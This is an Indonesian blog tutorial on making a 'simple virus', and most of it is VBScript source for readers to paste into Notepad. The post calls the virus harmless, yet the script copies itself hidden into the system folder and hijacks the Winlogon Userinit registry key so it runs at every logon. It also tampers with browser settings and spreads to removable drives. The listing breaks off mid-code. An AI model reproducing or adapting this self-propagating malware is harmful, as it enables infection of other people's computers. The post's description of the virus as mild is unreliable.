Sebenarnya virus ini tergolong ringan karena hanya akan membuat Optical Drive seperti CD Room atau DVD Room akan eject sendiri tanpa kita perintah. Script yang aku tampilkan juga sudah banyak tersedia di blog atau web – web lainnya, hanya saja kurang jelasnya isi tulisan membuat pemula bingung harus mulai dari mana.
Berikut aku beri tahu bagaimana membuat virus sederhana ini.
Pertama, siapkan notepad dan copy paste script di bawah ini.
Option Explicit
On Error Resume Next
Dim Fso, Shells, SystemDir, WinDir, Count, File, Drv, Drives, InDrive, ReadAll, AllFile, WriteAll, Del, Chg
Set Fso = CreateObject(“Scripting.FileSystemObject”)
Set Shells = CreateObject(“Wscript.Shell”)
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir = Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(Wscript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.Drives
Set ReadAll = File.OpenAsTextStream(1, -2)
Do While Not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbCrLf
Loop
Count = Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & “\killVBS.vbs”) Then
Set WriteAll = Fso.CreateTextFile(SystemDir & “\killVBS.vbs”, 2, True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(SystemDir & “\killVBS.vbs”)
WriteAll.Attributes = -1
End If
Shells.RegWrite “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”, SystemDir & “\userinit.exe,” & _
SystemDir & “\wscript.exe ” & SystemDir & “\killVBS.vbs”
For Each Drives In InDrive
If Drives.DriveType = 2 Then
LookVBS “inf”, Drives.Path & “\”
LookVBS “INF”, Drives.Path & “\”
End If
If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path <> “A:” Then
Shells.Regdelete “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Window Title”, “”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”, “”
Shells.RegWrite “HKCR\vbsfile\DefaultIcon”, “%SystemRoot%\System32\WScript.exe,2″
LookVBS “vbs”, WinDir & “\”
LookVBS “vbs”, Drives.Path & “\”
If Drives.DriveType = 1 Then
If Drives.Path <> “A:” Then
If Not Fso.FileExists(Drives.Path & “\killVBS.vbs”) Then
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\killVBS.vbs”, 2, True)
WriteAll.Write AllFile
WriteAll.Close
No comments:
Post a Comment
Thanks for your comment.